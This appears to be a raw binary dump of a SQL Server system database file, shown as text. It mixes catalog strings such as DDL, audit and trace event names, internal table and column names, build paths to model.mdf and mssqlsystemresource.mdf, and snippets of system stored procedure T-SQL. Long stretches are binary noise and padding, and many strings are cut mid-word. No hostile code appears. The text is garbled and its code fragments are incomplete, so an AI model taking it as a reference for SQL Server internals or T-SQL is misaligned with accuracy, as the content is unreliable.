EVTYAUDIT_SCHEMA_OBJECT_TAKE_OWNERSHIP_EVENT05EVTYFT_CRAWL_STARTED05EVTYFT_CRAWL_STOPPED05EVTYFT_CRAWL_ABORTED09EVTYUSER_ERROR_MESSAGE01EVTYOBJECT_ALTERED07EVTYSQL_STMTRECOMPILE0SEVTYDATABASE_MIRRORING_STATE_CHANGE0QEVTYSHOWPLAN_XML_FOR_QUERY_COMPILE0QEVTYSHOWPLAN_ALL_FOR_QUERY_COMPILE0MEVTYAUDIT_SERVER_SCOPE_GDR_EVENT0OEVTYAUDIT_SERVER_OBJECT_GDR_EVENT0SEVTYAUDIT_DATABASE_OBJECT_GDR_EVENT0MEVTYAUDIT_SERVER_OPERATION_EVENT0QEVTYAUDIT_SERVER_ALTER_TRACE_EVENT0]EVTYAUDIT_SERVER_OBJECT_MANAGEMENT_EVENT0cEVTYAUDIT_SERVER_PRINCIPAL_MANAGEMENT_EVENT0QEVTYAUDIT_DATABASE_OPERATION_EVENT0YEVTYAUDIT_DATABASE_OBJECT_ACCESS_EVENT0IEVTYOLEDB_PROVIDER_INFORMATION0)EVTYMOUNT_TAPE0/EVTYASSEMBLY_LOAD09EVTYXQUERY_STATIC_TYPE					f	P	.	
	rT8bo^o"-W"=CuBz'^1v1^m*vT

N

h/K

[

			L		U$pK&R
f3Gj)JC` Y-*Dk05EVTYQN__SUBSCRIPTION0;EVTYQN__PARAMETER_TABLE0-EVTYQN__TEMPLATE0-EVTYQN__DYNAMICS01EVTYBITMAP_WARNING0IEVTYDATABASE_SUSPECT_DATA_PAGE0AEVTYCPU_THRESHOLD_EXCEEDED01EVTYAUDIT_FULLTEXT0')EVTYDDL_EVENTS0'CEVTYDDL_SERVER_LEVEL_EVENTS0';EVTYDDL_ENDPOINT_EVENTS0';EVTYDDL_DATABASE_EVENTS0'IEVTYDDL_SERVER_SECURITY_EVENTS0'5EVTYDDL_LOGIN_EVENTS0'?EVTYDDL_GDR_SERVER_EVENTS0'SEVTYDDL_AUTHORIZATION_SERVER_EVENTS0'?EVTYDDL_CREDENTIAL_EVENTS0'OEVTYDDL_SERVICE_MASTER_KEY_EVENTS0'OEVTYDDL_EXTENDED_PROCEDURE_EVENTS0'EEVTYDDL_LINKED_SERVER_EVENTS0'QEVTYDDL_LINKED_SERVER_LOGIN_EVENTS0'9EVTYDDL_MESSAGE_EVENTS0'EEVTYDDL_REMOTE_SERVER_EVENTS0 'GEVTYDDL_DATABASE_LEVEL_EVENTS0!'?EVTYDDL_TABLE_VIEW_EVENTS0"'5EVTYDDL_TABLE_EVENTS0#'3EVTYDDL_VIEW_EVENTS0$'5EVTYDDL_INDEX_EVENTS0%'?EVTYDDL_STATISTICS_EVENTS0&'9EVTYDDL_SYNONYM_EVENTS0'';EVTYDDL_FUNCTION_EVENTS0('=EVTYDDL_PROCEDURE_EVENTS0)'9EVTYDDL_TRIGGER_EVENTS0*'OEVTYDDL_EVENT_NOTIFICATION_EVENTS0+';EVTYDDL_ASSEMBLY_EVENTS0,'3EVTYDDL_TYPE_EVENTS0-'MEVTYDDL_DATABASE_SECURITY_EVENTS0.'AEVTYDDL_CERTIFICATE_EVENTS0/'3EVTYDDL_USER_EVENTS00'3EVTYDDL_ROLE_EVENTS01'KEVTYDDL_APPLICATION_ROLE_EVENTS02'7EVTYDDL_SCHEMA_EVENTS03'CEVTYDDL_GDR_DATABASE_EVENTS04'WEVTYDDL_AUTHORIZATION_DATABASE_EVENTS05'EEVTYDDL_SYMMETRIC_KEY_EVENTS06'GEVTYDDL_ASYMMETRIC_KEY_EVENTS07'KEVTYDDL_CRYPTO_SIGNATURE_EVENTS08'?EVTYDDL_MASTER_KEY_EVENTS09'1EVTYDDL_SSB_EVENTS0:'CEVTYDDL_MESSAGE_TYPE_EVENTS0;';EVTYDDL_CONTRACT_EVENTS0<'5EVTYDDL_QUEUE_EVENTS0='9EVTYDDL_SERVICE_EVENTS0>'5EVTYDDL_ROUTE_EVENTS0?'WEVTYDDL_REMOTE_SERVICE_BINDING_EVENTS0@'UEVTYDDL_XML_SCHEMA_COLLECTION_EVENTS0A'=EVTYDDL_PARTITION_EVENTS0B'OEVTYDDL_PARTITION_FUNCTION_EVENTS0C'KEVTYDDL_PARTITION_SCHEME_EVENTS0D'9EVTYDDL_DEFAULT_EVENTS0E'MEVTYDDL_EXTENDED_PROPERTY_EVENTS0F'KEVTYDDL_FULLTEXT_CATALOG_EVENTS0G'?EVTYDDL_PLAN_GUIDE_EVENTS0H'3EVTYDDL_RULE_EVENTS0I'EEVTYDDL_EVENT_SESSION_EVENTS0J'MEVTYDDL_RESOURCE_GOVERNOR_EVENTS0K'7EVTYDDL_RESOURCE_POOL0L'9EVTYDDL_WORKLOAD_GROUP0M'WEVTYDDL_CRYPTOGRAPHIC_PROVIDER_EVENTS0N'YEVTYDDL_DATABASE_ENCRYPTION_KEY_EVENTS0O'IEVTYDDL_BROKER_PRIORITY_EVENTS0P'CEVTYDDL_SERVER_AUDIT_EVENTS0Q'_EVTYDDL_SERVER_AUDIT_SPECIFICATION_EVENTS0R'cEVTYDDL_DATABASE_AUDIT_SPECIFICATION_EVENTS0S'MEVTYDDL_FULLTEXT_STOPLIST_EVENTS0U'SEVTYDDL_SEARCH_PROPERTY_LIST_EVENTS0V';EVTYDDL_SEQUENCE_EVENTS0W'OEVTYDDL_AVAILABILITY_GROUP_EVENTS0*1EVTYTRC_ALL_EVENTS0*-EVTYTRC_DATABASE0*CEVTYTRC_ERRORS_AND_WARNINGS0*'EVTYTRC_LOCKS0*+EVTYTRC_OBJECTS0*3EVTYTRC_PERFORMANCE0+9EVTYTRC_SECURITY_AUDIT0+)EVTYTRC_SERVER0+?EVTYTRC_STORED_PROCEDURES0+%EVTYTRC_TSQL0+?EVTYTRC_USER_CONFIGURABLE0+'EVTYTRC_OLEDB0	+/EVTYTRC_FULL_TEXT0
+3EVTYTRC_DEPRECATION0+#EVTYTRC_CLR0
+CEVTYTRC_QUERY_NOTIFICATIONS0FDSTRANGE0FITSOFF0!FITSMANUAL0FITSAUTO0'FKRANO_ACTION0#FKRACASCADE0%FKRASET_NULL0+FKRASET_DEFAULT0IDXTHEAP0'IDXTCLUSTERED0-IDXTNONCLUSTERED0IDXTXML0#IDXTSPATIAL0?IDXTCLUSTERED COLUMNSTORE0EIDXTNONCLUSTERED COLUMNSTORE05ITTYSQL_LOGINS_TABLE0=ITTYFIREWALL_RULES_TABLE0/ITTYMETRICS_TABLE0/ITTYBILLING_TABLE0?ITTYDATABASE_COPIES_TABLE0=ITTYRESOURCE_STATS_TABLE0=ITTYRESOURCE_USAGE_TABLE01ITTYQUEUE_MESSAGES03ITTYXML_INDEX_NODES0GITTYFULLTEXT_CATALOG_FREELIST09ITTYFULLTEXT_INDEX_MAP09ITTYQUERY_NOTIFICATION09ITTYSERVICE_BROKER_MAP05ITTYEXTENDED_INDEXES0=ITTYFILESTREAM_TOMBSTONE03ITTYCHANGE_TRACKING0QITTYTRACKED_COMMITTED_TRANSACTIONS0/ITTYFULLTEXT_AVDL0AITTYFULLTEXT_COMP_FRAGMENT0?ITTYFULLTEXT_DOCID_STATUS0AITTYFULLTEXT_INDEXED_DOCID0?ITTYFULLTEXT_DOCID_FILTER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!MMo6Rj;E"kF#AV1]2j@~;B	@
6c&
z
E

Y(W
x
A
			O		E[@{*GvA?[*` _YE*Vc09ITTYFULLTEXT_DOCID_MAP0WITTYFULLTEXT_THESAURUS_METADATA_TABLE0QITTYFULLTEXT_THESAURUS_STATE_TABLE0SITTYFULLTEXT_THESAURUS_PHRASE_TABLE09ITTYCONTAINED_FEATURES0MITTYSEMPLAT_DOCUMENT_INDEX_TABLE0CITTYSEMPLAT_TAG_INDEX_TABLE0KITTYSEMPLAT_MODEL_MAPPING_TABLE0MITTYSEMPLAT_LANGUAGE_MODEL_TABLE07ITTYFILETABLE_UPDATES0KITTYFEDERATION_OPERATIONS_TABLE0YITTYFEDERATION_OPERATION_MEMBERS_TABLE0?ITTYDATEBASE_EVENTS_TABLE0IITTYDATEBASE_EVENT_TYPES_TABLE0MITTYDATEBASE_EVENT_CONTEXT_TABLE0[ITTYDATEBASE_EVENT_UPDATE_HISTORY_TABLE0QITTYSELECTIVE_XML_INDEX_NODE_TABLE0'IXDPUNDEFINED0IXDPNONE0IXDPHASH0'IXDPREPLICATE01IXDPSEGMENTED_HEAP0LEOPTABLE0#LEOPDISABLE0LEOPAUTO0#LRWTNOTHING0)LRWTCHECKPOINT0)LRWTLOG_BACKUP0ELRWTACTIVE_BACKUP_OR_RESTORE09LRWTACTIVE_TRANSACTION09LRWTDATABASE_MIRRORING0+LRWTREPLICATION0ILRWTDATABASE_SNAPSHOT_CREATION0%LRWTLOG_SCAN0	=LRWTAVAILABILITY_REPLICA0
ELRWTSE_REPLICA_CATCHUP_QUEUE0GLRWTSE_REPLICA_ACTIVE_CATCHUP0=LRWTSE_REPLICA_TEMPORARY0
+LRWTOLDEST_PAGE03LRWTOTHER TRANSIENT0+SPRFALL_RESULTS0-SPRFROWSETS_ONLY0SPRFNONE0SPRSNONE0%SPRSSTANDARD0#SPRSDEFAULT0#SPSLWINDOWS0@SPSLMIXED0ASRCLCRYPTOGRAPHIC PROVIDER0%UNCLDATABASE05UNCLOBJECT_OR_COLUMN0'UNCLPARAMETER0!UNCLSCHEMA09UNCLDATABASE_PRINCIPAL0%UNCLASSEMBLY0UNCLTYPE0UNCLINDEX0+UNCLTYPE_COLUMN0	)UNCLSTATISTICS0
?UNCLXML_SCHEMA_COLLECTION0/UNCLXML_COMPONENT0=UNCLDATABASE_DDL_TRIGGER0
9UNCLSERVER_DDL_TRIGGER0-UNCLMESSAGE_TYPE05UNCLSERVICE_CONTRACT0#UNCLSERVICE0AUNCLREMOTE_SERVICE_BINDING0UNCLROUTE0'UNCLDATASPACE09UNCLPARTITION_FUNCTION0/UNCLDATABASE_FILE05UNCLFULLTEXT_CATALOG01UNCLSYMMETRIC_KEYS0+UNCLCERTIFICATE01UNCLASYMMETRIC_KEY0)UNCLPLAN_GUIDE0?UNCLCONVERSATION_PRIORITY07UNCLFULLTEXT_STOPLIST0;UNCLAUDIT_SPECIFICATION0=UNCLSEARCH_PROPERTY_LIST0d!UNCLSERVER0e5UNCLSERVER_PRINCIPAL0f/UNCLLINKED_SERVER0g-UNCLLINKED_LOGIN0h-UNCLREMOTE_LOGIN0i%UNCLENDPOINT0j+UNCLCERTIFICATE0l9UNCLAVAILABILITY GROUP0+XIT2PRIMARY_XML0/XIT2SECONDARY_XML0/XIT2SELECTIVE_XML0CXIT2SECONDARY_SELECTIVE_XML0PXITYPATH0R%XITYPROPERTY0VXITYVALUEictionary_id6? version6?type6?flags6? last_id6?(entry_count6?	*on_disk_size6?
"data_ptr68id68name68"protocol68type68bstat68"affinity68pstat68tstat68	 typeint68
port168port268site68
dfltns68"wsdlproc68dfltdb68$authrealm68dfltdm68 maxconn68encalg68"authtype60srvid60lgnid60name60status60modate60 pwdhash6/srvid6/name6/lgnid6/status6/modate69id69 nmspace69alias69 objname69status!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_APPLICATION_ROLE0????ALTER_ASYMMETRIC_KEY0???KALTER_AUTHORIZATION_SERVER0?@@?7ALTER_CREDENTIAL0?@@?QALTER_DATABASE_ENCRYPTION_KEY0???=ALTER_EVENT_SESSION0???CALTER_FULLTEXT_CATALOG0???EALTER_FULLTEXT_STOPLIST0???-ALTER_INDEX0?@@?7ALTER_MASTER_KEY0?@@?CALTER_PARTITION_SCHEME0?@@?=ALTER_REMOTE_SERVER0?@@?+ALTER_ROLE0???/ALTER_SCHEMA0???3ALTER_SEQUENCE0???WALTER_SERVER_AUDIT_SPECIFICATION0???9ALTER_SERVER_ROLE0???GALTER_SERVICE_MASTER_KEY0???-ALTER_TABLE0???+ALTER_USER0????ALTER_WORKLOAD_GROUP0?@@?3ASYMMETRIC_KEY0?@@??AUDIT_ADD_ROLE_EVENT0?@@?GAUDIT_CHANGE_AUDIT_EVENT0?@@?UAUDIT_DATABASE_OBJECT_GDR_EVENT0?@@?oAUDIT_DATABASE_PRINCIPAL_IMPERSONATION_EVENT0?@@?3AUDIT_FULLTEXT0?@@?;AUDIT_LOGIN_FAILED0???/AUDIT_LOGOUT0???QAUDIT_SCHEMA_OBJECT_GDR_EVENT0???gAUDIT_SCHEMA_OBJECT_TAKE_OWNERSHIP_EVENT0???QAUDIT_SERVER_OBJECT_GDR_EVENT0???gAUDIT_SERVER_OBJECT_TAKE_OWNERSHIP_EVENT0???kAUDIT_SERVER_PRINCIPAL_IMPERSONATION_EVENT0???OAUDIT_SERVER_SCOPE_GDR_EVENT0@??AUTO0????AVAILABILITY_REPLICA0???/BIND_DEFAULT0???3BITMAP_WARNING0???ABROKER_QUEUE_DISABLED0@@@?-CERTIFICATE0???CCERTIFICATE, NEGOTIATE0???5CHANGE_TRACKING0???'CHECKSUM0?@?MCLOUDDB_ASYNC_TRANSPORT_FWD0?@@?)CONNECTED0?@@?ACONVERSATION_PRIORITY0?@@?ACREATE_ASYMMETRIC_KEY0?@@?5CREATE_CONTRACT0?@@?]CREATE_DATABASE_AUDIT_SPECIFICATION0?@@?ICREATE_EVENT_NOTIFICATION0???ICREATE_EXTENDED_PROCEDURE0?@@?GCREATE_FULLTEXT_STOPLIST0?@?9CREATE_MASTER_KEY0?@@?ECREATE_PARTITION_SCHEME0?@@??CREATE_REMOTE_SERVER0?@@?/CREATE_ROUTE0?@@?5CREATE_SEQUENCE0?@@?3CREATE_SERVICE0???9CREATE_STATISTICS0?@@?3CREATE_TRIGGER0???-CREATE_USER0???ACREATE_WORKLOAD_GROUP0@@?CCRYPTOGRAPHIC PROVIDER0?@?'DATABASE0@@@?;DATABASE_MIRRORING0?@@?KDATABASE_SUSPECT_DATA_PAGE0?@@?]DATEBASE_EVENT_UPDATE_HISTORY_TABLE0?@@?IDDL_ASYMMETRIC_KEY_EVENTS0?@@?KDDL_BROKER_PRIORITY_EVENTS0?@@?MDDL_CRYPTO_SIGNATURE_EVENTS0?@@?=DDL_DATABASE_EVENTS0?@@?=DDL_ENDPOINT_EVENTS0?@@?QDDL_EXTENDED_PROCEDURE_EVENTS0?@@?=DDL_FUNCTION_EVENTS0???ADDL_GDR_SERVER_EVENTS0?@@?7DDL_LOGIN_EVENTS0?@@??DDL_PARTITION_EVENTS0?@@??DDL_PROCEDURE_EVENTS0?@@?ODDL_RESOURCE_GOVERNOR_EVENTS0?@@?5DDL_RULE_EVENTS0???UDDL_SEARCH_PROPERTY_LIST_EVENTS0?@@?EDDL_SERVER_LEVEL_EVENTS0?@@?3DDL_SSB_EVENTS0???GDDL_SYMMETRIC_KEY_EVENTS0?@@?;DDL_TRIGGER_EVENTS0?@@?;DDL_WORKLOAD_GROUP0@@@?%DEFUNCT0???1DENY_DATABASE0?@@?%DISABLE0?@@?ADROP_APPLICATION_ROLE0?@@??DROP_BROKER_PRIORITY0???1DROP_CONTRACT0?@@?YDROP_DATABASE_AUDIT_SPECIFICATI,
zV8jB`*_
0*FGD0j[hF0?PRIMARY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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release\sql\mkmastr\databases\objfre\i386\model.mdf0 @
@qHj[q@uqhFPBPB$ ȅqN_modelloge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\modellog.ldf<>GOOLhM@qHj[q@uqhFPBPB$ ȅqN_datae:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.mdf<@?v%OqnZ@qHj[q@uqhFPBPB$ ȅqN_
loge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.ldf0#$#	н>GOOLhM6øo@]o l^0øo-؂-?PYmYmн,#\(q$###d@(,#_datae:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.mdf0@#$#	н?v%OqnZ6øo@]o l^0øo-؂-?PYmYmн,#\(q$###d@(,#_
loge:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.ldf!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Z
+}^8!!!!`-;?)"w0-=auid0-00=type0-Cownerid0-88
Astatus0-44=fgid0-Cpgfirst0-Apgroot0-Ipgfirstiam0-	Apcused0-
Apcdata0-Ipcreserved0-88
Astatus0-44Afileid0-=name0-Efilename0-88
=fgid0-88
Efgfragid0-88
Edbfragid0-88
Aphfgid0-88
Astatus0-88
Kpriority_id0-=name0-88
[service_contract_id0-88
Ulocal_service_id0-[remote_service_name0-00Epriority0-88
Edbfragid0-88
Afileid0-$$Efileguid0-?pname0-88
=dbid0-88
Afragid0-=name0-88
Cbrickid0-88
?pruid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afragid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-	88
=size0-
88
Cmaxsize0-88
Agrowth0-?lname0-
?pname0-

Gcreatelsn0-

Cdroplsn0-$$Efileguid0-	00Evalclass0-	9id0-	?subid0-	88
Avalnum0-	bbPP?value0-	@Eimageval-88
[service_contract_id0-88
Ulocal_service_id0-4[remote_service_name0-00Epriority0-88
Edbfragid0-88
Afileid0-$$Efileguid0-4?pname0-88
=dbid0-88
Afragid0-4=name0-88
Cbrickid0-88
?pruid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afragid0-88
Astatus0-88
Cbrickid0-88
=dbid0-88
?pruid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-	88
=size0-
88
Cmaxsize0-88
Agrowth0-4?lname0-
4?pname0-

Gcreatelsn0-

Cdroplsn0-$$Efileguid0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0- Aforkvc0-!$$Wredostartforkguid0-	00Evalclass0-	9idl-

j
-
`!d!

`
#
	#X?t7	`		bcx9;t3h^`<ND:mON0?@@?EDROP_EVENT_NOTIFICATION0?@@?ADROP_FULLTEXT_CATALOG0???CDROP_FULLTEXT_STOPLIST0?@@?GDROP_LINKED_SERVER_LOGIN0?@@?9DROP_MESSAGE_TYPE0???ADROP_PARTITION_SCHEME0?@@?;DROP_REMOTE_SERVER0???;DROP_RESOURCE_POOL0???7DROP_ROLE_MEMBER0???)DROP_RULE0???IDROP_SEARCH_PROPERTY_LIST0???9DROP_SERVER_AUDIT0???7DROP_SERVER_ROLE0???/DROP_SERVICE0???ODROP_SIGNATURE_SCHEMA_OBJECT0???;DROP_SYMMETRIC_KEY0???+DROP_TABLE0???)DROP_TYPE0?@@?KDROP_XML_SCHEMA_COLLECTION0???)EMERGENCY0???!ERROR0???'EVENTLOG0????EXCHANGE_SPILL_EVENT0???7EXTENDED_INDEXES0???3FAIL OPERATION0???MFEDERATION_OPERATIONS_TABLE0???3FILESTREAM_LOG0???9FILETABLE_UPDATES0???7FT_CRAWL_ABORTED0@@@?FULL0???1FULLTEXT_AVDL0?@@?AFULLTEXT_DOCID_FILTER0???AFULLTEXT_DOCID_STATUS0???CFULLTEXT_INDEXED_DOCID0???YFULLTEXT_THESAURUS_METADATA_TABLE0@@?)GEOGRAPHY0@@?'GEOMETRY0?@?3GRANT_DATABASE0?@?/HASH_WARNING0?@?HTTP0?@?=IN_TRANSITION_TO_ON0@??%INITIAL0?@@?/LINKED_LOGIN0?@@?=LOCK_DEADLOCK_CHAIN0?@@?;LOG_FILE_AUTO_GROW0?@@?!LOGON0?@@?/MESSAGE_TYPE0?@@?!MIXED0?@@?)NEGOTIATE0A@?NONE0?@@?3NONE, RC4, AES0?@@?3OBJECT_ALTERED0?@@?mOBJECT_OR_COLUMN_REFERENCE_NON_SCHEMA_BOUND0@@??OFF0@?%OFFLINE0?@@?/OLEDB_ERRORS0?@@?%ONE ASC0@??#ONLINE0?@@?%PARTIAL0?@@?PATH0?@@?'PROPERTY0?@@?/QN__TEMPLATE0?@@?!RANGE0?@@'RC4, AES0@@??7RECOVERY_PENDING0?@@?3REPLICA_DEVICE0@@?)RESTORING0?@@?!ROUTE0?@@?/ROWSETS_ONLY0?@@?GSE_REPLICA_CATCHUP_QUEUE0?@@?1SECONDARY_XML0?@?#SERVER0?@@?%SERVICE0?@@?-SET_DEFAULT0?@@?/SHOWPLAN_XML0?@@?/SIGNING ONLY0?@@?1SORT_WARNINGS0?@@?/SP_RECOMPILE0?@@?'STANDARD0@@@?%SUSPECT0?@@?TCP0?@@?3TRC_ALL_EVENTS0?@@?ETRC_ERRORS_AND_WARNINGS0?@@?)TRC_OLEDB0?@@?+TRC_SERVER0?@@?TSQL0?@@?-TYPE_COLUMN0?@@?)UNDEFINED0?@@?9UPDATE_STATISTICS0?@@?;USERCONFIGURABLE_20?@@?;USERCONFIGURABLE_60?@?7WAIT ASC Confirm0?@@?-WAIT REJECT0?@@?XML0?@@?UXML_SCHEMA_COLLECTION_REFERENCE0??;XQUERY_STATIC_TYPE++((_ALTER_AUTHORIZATION_DATABASEFULLTEXT_STOPLISTRESOURCE_GOVERNOR_CONFIGTRIGGERUDIT_CHANGE_AUDIT_EVENTLOGIN_FAILEDSPECIFICATIONCERTIFICATEONTINUEREATE_DEFAULTMESSAGESERVER_AUDITXML_SCHEMA_COLLECTIONDATASPACEDL_CRYPTOGRAPHIC_PROVIDER_EVENTSFUNCTION_EVENTSQUEUE_EVENTSSERVICE_MASTER_KEY_EVENTSEFUNCTROP_BROKER_PRIORITYREMOTE_SERVICE_BINDINGSTATISTICSFT_CRAWL_STARTEDULLTEXT_THESAURUS_METADATA_TABLEHEAPLOCK_DEADLOCKMISSING_JOIN_PREDICATENONEOBJECT_OR_COLUMN_REFERENCE_NON_SCHEMA_BOUNDPIPERECOVERINGSTRICTED_USERSECONDARY_XMLRVICE_CONTRACTP_CACHEREMOVETORN_PAGE_DETECTIONRC_SERVERUPDATE_STATISTICSWAIT ARBITRATION9A-E@LQc
o|
}@ @&*9
O^YZ i
*

"#	5>O		when 'SYNONYM' then '.SN.'
				when 'AGGREGATE' then '.AF.'
				when 'FUNCTION' then '.TF.FN.IF.FS.FT.'
				when 'PROCEDURE' then '.P .PC.RF.X .'
				when 'SEQUENCE' then '.SO.'
				end )
end

-- Now get properties from id-s obtained, and return
--
insert @tab select @basetype, i.nam, p.name, p.value
	from sys.extended_properties p join @ids i on p.class = @class and p.major_id = i.maj
	where p.minor_id = 0 and (@name is null or @name = p.name)

return
end
h@hno_more_devs:
	return(0)	-- sp_create_removable
(H(H        )
PTPCOLUMN_NAME like @column_name)

        order by 2, 3, 17
    end
{{NDEX_COL(@full_table_name,@index_id,c2.column_id) = c.name and
                c2.object_id = x.object_id
            )
||'@scriptText' = datalength(@scriptText)/2
		
		select @scriptText
    end
    
    drop table #ntextworktable
    return 0
Error:
    drop table #ntextworktable
    return 1
end
0=
60>
6

8?

6C
68K
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>b8|X0



j
B

f>pN"


R
&
			J	$		|Z.^2V0f:
j>bD&lP.~`<Ajo`
Z7.*^3.UVm8!!!!`e}/nBoA.`UVZmI3<@AB:C.D E,FDG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jWD1s`A6B"cBT68
6
6
6U
6
6
68	
6=

6		=	
6



68
6
6U
68
68
68
6=
6=
6		$$	
6

84

608
6"I
6"I8
6"I0
6"		8	
6"

I=

6"=$
6)8
6)4
6)8

6)4
6)0
6)8
6)4
6)0
6)		0	
6)

8

6)#8
6)4
6)

8!

6)8%
6)8)
6)@
6,0
6,8
6,4
6,8	
6,8

6,8
6,=
6,=
6.8
6.4
6.t
6.
6. 
6.
6.
6.@
6.		8
	
610
618
618	
614
61b
62"8
62"8
62"4
62"0
62"4

62"0
62"0
62"8
62		"8	
62

"=

62"=!
62"8)
62

"8-

630
638
638	
63
630

638
634
630
63		0	
63

8

638
638
668
668
664
668
668
660
660
660
66		8	
66

8

66
67y8
67y8
67y8	
67y8
67y8
67y0
67y0
6:0
6:8
6:8	
6:
6:8

6:
6:8
6:=
6:		=	
6;0
6;8
6;8	
6;8


6;8
6;
6;
6.

=

670
6

4

6"<8,
68
64
6U
68
68
68
6=
6=
6		$$	
6

84

Nf,~&D
\"t:t:Rj0H`B@2b,II]z&2@&db_accessadmin&2@,db_backupoperator&2@$db_datareader&2@$db_datawriter&2@ db_ddladmin&2@,db_denydatareader&2	@,db_denydatawriter&2@db_owner&2@*db_securityadmin&2dbo&2guest&2.INFORMATION_SCHEMA&
<Microsoft.SqlServer.Types&PRIMARY&PRIMARY&2sys&PRIMARY&!(system_stoplist&
RMicrosoft.S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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t\rF`h
Z@6^8!!!!`B)Xr6RZ@old6RZ@new6RZ$@loginame6ǏS"@tabname6ǏS&@indexname6ǏS.@verboseoutput6ǏS,@query_sample6ǏS(@xml_output6h@9*task_address6h@9&task_state6h@9>context_switches_count6h@92pending_io_count6h@9<pending_io_byte_count6h@9@pending_io_byte_average6h@9*scheduler_id6h@9&session_id6h@9	0exec_context_id6h@9
&request_id6h@9.worker_address6h@9*host_address6h@9
